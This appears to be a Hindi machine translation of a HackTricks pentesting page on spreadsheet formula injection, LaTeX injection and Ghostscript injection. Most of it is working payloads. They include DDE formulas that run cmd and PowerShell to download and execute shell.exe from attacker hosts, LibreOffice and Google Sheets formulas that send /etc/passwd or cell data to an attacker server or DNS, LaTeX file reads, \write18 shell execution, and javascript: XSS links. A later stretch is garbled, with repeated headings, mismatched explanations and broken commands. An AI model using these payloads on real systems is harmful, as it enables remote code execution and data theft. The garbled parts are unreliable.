Formula/CSV/Doc/LaTeX/GhostScript Injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Try Hard सुरक्षा समूह


सूत्र इन्जेक्शन

जानकारी

यदि आपका इनपुट CSV फ़ाइल (या किसी अन्य फ़ाइल) में प्रतिबिंबित हो रहा है (जिसे एक्सेल द्वारा शायद खोला जाएगा), तो आप एक्सेल सूत्र डाल सकते हैं जो उस समय चलाए जाएंगे जब उपयोगकर्ता फ़ाइल खोलता है या जब उपयोगकर्ता एक्सेल शीट में किसी लिंक पर क्लिक करता है

आजकल एक्सेल (कई बार) उपयोगकर्ता को चेतावनी देगा जब कुछ एक्सेल के बाहर से लोड होगा ताकि उसे दुरुपयोग से बचाया जा सके। इसलिए, अंतिम पेलोड पर सोशल इंजीनियरिंग पर विशेष प्रयास किया जाना चाहिए।

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

हाइपरलिंक

निम्नलिखित उदाहरण अंतिम एक्सेल शीट से सामग्री निकालने और विभिन्न स्थानों पर अनुरोध करने के लिए बहुत उपयोगी है। लेकिन इसे लिंक पर क्लिक करने की आवश्यकता होती है (और चेतावनी प्रॉम्प्ट को स्वीकार करना चाहिए)।

निम्नलिखित उदाहरण https://payatu.com/csv-injection-basic-to-exploit से लिया गया था।

एक छात्र रिकॉर्ड प्रबंधन सिस्टम में सुरक्षा उल्लंघन की कल्पना एक CSV अधिष्ठापन हमले के माध्यम से उत्पन्न किया गया है। हमलावर का प्राथमिक उद्देश्य शिक्षकों द्वारा छात्र विवरण प्रबंधित करने के लिए उपयोग किए जाने वाले सिस्टम को क्षति पहुंचाना है। इस विधि में हमलावर एक दुरुपयोगी पेलोड को एप्लिकेशन में डालता है, विशेष रूप से छात्र विवरण के लिए निर्धारित क्षेत्रों में हानिकारक सूत्र द्वारा। हमला निम्नलिखित प्रकार से खुलता है:

  1. दुरुपयोगी पेलोड का अधिष्ठापन:

  • हमलावर एक छात्र विवरण फॉर्म सबमिट करता है लेकिन उसमें एक सूत्र शामिल करता है जो स्प्रेडशीट में सामान्य रूप से उपयोग किया जाता है (जैसे, =HYPERLINK("<malicious_link>","यहाँ क्लिक करें")।)

  • यह सूत्र हाइपरलिंक बनाने के लिए डिज़ाइन किया गया है, लेकिन यह हमलावर द्वारा नियंत्रित एक दुरुपयोगी सर्वर पर पहुंचता है।

  1. आपहरित डेटा का निर्यात:

  • शिक्षक, कंप्रमाइज़ के अनजान होने पर, डेटा को CSV फ़ाइल में निर्यात करने के लिए एप्लिकेशन की कार्यक्षमता का उपयोग करते हैं।

  • CSV फ़ाइल, जब खोली जाती है, तो अब भी दुरुपयोगी पेलोड को शामिल करती है। यह पेलोड स्प्रेडशीट में एक क्लिक के लिए हाइपरलिंक के रूप में प्रकट होता है।

  1. हमला ट्रिगर करना:

  • एक शिक्षक हाइपरलिंक पर क्लिक करता है, जो छात्र के विवरण का वैध हिस्सा होने का मानक मानते हुए।

  • क्लिक करने पर, अपरिचित डेटा (संभावित रूप से स्प्रेडशीट से विवरण या शिक्षक के कंप्यूटर से) हमलावर के सर्वर पर भेजा जाता है।

  1. डेटा का लॉगिंग:

  • हमलावर का सर्वर संवेदनशील डेटा प्राप्त करता है और शिक्षक के कंप्यूटर से भेजे गए संवेदनशील डेटा को लॉग करता है।

  • हमलावर फिर इस डेटा का उपयोग विभिन्न दुरुपयोगी उद्देश्यों के लिए कर सकता है, जिससे छात्रों और संस्थान की गोपनीयता और सुरक्षा को और अधिक क्षति पहुंच सकती है।

RCE

अधिक विवरण के लिए मूल पोस्ट की जाँच करें।

विशेष विन्यासों या पुराने संस्करणों के एक्सेल में, एक सुविधा जिसे डायनामिक डेटा एक्सचेंज (DDE) कहा जाता है, को विभिन्न आदेशों को निष्पादित करने के लिए उत्पादित किया जा सकता है। इसका लाभ उठाने के लिए, निम्नलिखित सेटिंग्स सक्षम होने चाहिए:

  • फ़ाइल पर जाएं → विकल्प → विश्वास केंद्र → विश्वास केंद्र सेटिंग्स → बाह्य सामग्री, और डायनामिक डेटा एक्सचेंज सर्वर लॉन्च को सक्षम करें।

जब एक दुरुपयोगी पेलोड के साथ एक स्प्रेडशीट खोला जाता है (और यदि उपयोगकर्ता चेतावनियाँ स्वीकार करता है), तो पेलोड निष्पादित होता है। उदाहरण के लिए, कैलकुलेटर एप्लिकेशन को लॉन्च करने के लिए, पेलोड होगा:

=cmd|' /C calc'!xxx

अतिरिक्त कमांड भी निष्पादित किए जा सकते हैं, जैसे PowerShell का उपयोग करके फ़ाइल डाउनलोड और निष्पादन।

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

स्थानीय फ़ाइल समावेशन (LFI) में LibreOffice Calc

LibreOffice Calc का उपयोग स्थानीय फ़ाइलों को पढ़ने और डेटा को बाहर ले जाने के लिए किया जा सकता है। यहाँ कुछ तरीके हैं:

  • स्थानीय /etc/passwd फ़ाइल से पहली पंक्ति पढ़ना: ='file:///etc/passwd'#$passwd.A1

  • पढ़ा हुआ डेटा को हमलावर नियंत्रित सर्वर पर बाहर लेना: =WEBSERVICE(CONCATENATE("http://<हमलावर IP>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • एक से अधिक पंक्तियों को बाहर लेना: =WEBSERVICE(CONCATENATE("http://<हमलावर IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • DNS बाहर लेना (पढ़ा हुआ डेटा को एक हमलावर नियंत्रित DNS सर्वर के रूप में DNS क्वेरी के रूप में भेजना): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<हमलावर डोमेन>"))

आउट-ऑफ़-बैंड (OOB) डेटा बाहर लेने के लिए Google Sheets

Google Sheets उन फ़ंक्शन को प्रदान करता है जो OOB डेटा बाहर लेने के लिए उत्पादित किए जा सकते हैं:

  • CONCATENATE: स्ट्रिंग को जोड़ता है - =CONCATENATE(A2:E2)

  • IMPORTXML: संरचित डेटा प्रकार से डेटा आयात करता है - =IMPORTXML(CONCAT("http://<हमलावर IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED: RSS या ATOM फ़ीड आयात करता है - =IMPORTFEED(CONCAT("http://<हमलावर IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML: HTML तालिकाओं या सूचियों से डेटा आयात करता है - =IMPORTHTML (CONCAT("http://<हमलावर IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE: एक अन्य स्प्रेडशीट से कक्षा की श्रेणी आयात करता है - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

  • IMAGE: एक छवि को एक कोशिका में सम्मिलित करता है - =IMAGE("https://<हमलावर IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

सामान्यत: इंटरनेट पर पाए जाने वाले सर्वर जो LaTeX कोड को PDF में परिवर्तित करें, pdflatex का उपयोग करते हैं। यह कार्यक्रम (डिस)कमांड निषेध करने के लिए 3 मुख्य गुणों का उपयोग करता है:

  • --no-shell-escape: \write18{command} निर्देश को अक्षम करें, यदि यह texmf.cnf फ़ाइल में सक्षम है।

  • --shell-restricted: --shell-escape के समान, लेकिन 'सुरक्षित' सेट के पूर्वनिर्धारित **निर्देशों के लिए सीमित (**Ubuntu 16.04 पर सूची /usr/share/texmf/web2c/texmf.cnf में है)।

  • --shell-escape: \write18{command} निर्देश को सक्षम करें। निर्देश कोई भी शैल निर्देश हो सकता है। यह निर्माण सामान्यत: सुरक्षा कारणों से निषिद्ध होता है।

हालांकि, निर्देशों को निषेध करने के लिए अन्य तरीके हैं, इसलिए RCE से बचने के लिए --shell-restricted का उपयोग करना बहुत महत्वपूर्ण है।

फ़ाइल पढ़ें

आपको व्रैपर्स के साथ अंश परिवर्तन करने की आवश्यकता हो सकती है जैसे [ या $।

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

एकल रेखांकित फ़ाइल पढ़ें

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

एकाधिक पंक्तियों वाली फ़ाइल पढ़ें

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

फ़ाइल लिखें

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

कमांड निष्पादन

कमांड का इनपुट stdin पर रीडायरेक्ट किया जाएगा, इसे प्राप्त करने के लिए एक टेम्प फ़ाइल का उपयोग करें।

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Formula CSV Document LaTeX Ghostscript Injection


LaTeX Injection

यदि आपके पास LaTeX इंजेक्शन का अनुभव होता है, तो आप निम्नलिखित कोड का उपयोग कर सकते हैं:

\immediate\write18{echo "PWNED" > /tmp/pwned.txt}

यह कोड गोस्टस्क्रिप्ट को चालू करने के लिए उपयोग किया जा सकता है।

Ghostscript Injection

यदि आपके पास Ghostscript इंजेक्शन का अनुभव होता है, तो आप निम्नलिखित कोड का उपयोग कर सकते हैं:

gs -sOutputFile=/tmp/pwned.txt /tmp/evil.ps

यह कोड गोस्टस्क्रिप्ट को चालू करने के लिए उपयोग किया जा सकता है।

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

क्रॉस साइट स्क्रिप्टिंग

@EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

गोस्टस्क्रिप्ट इंजेक्शन

जाँच करें https://blog.redteam-pentesting.de/2023/ghostscript-overview/

संदर्भ

ट्राई हार्ड सिक्योरिटी ग्रुप

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated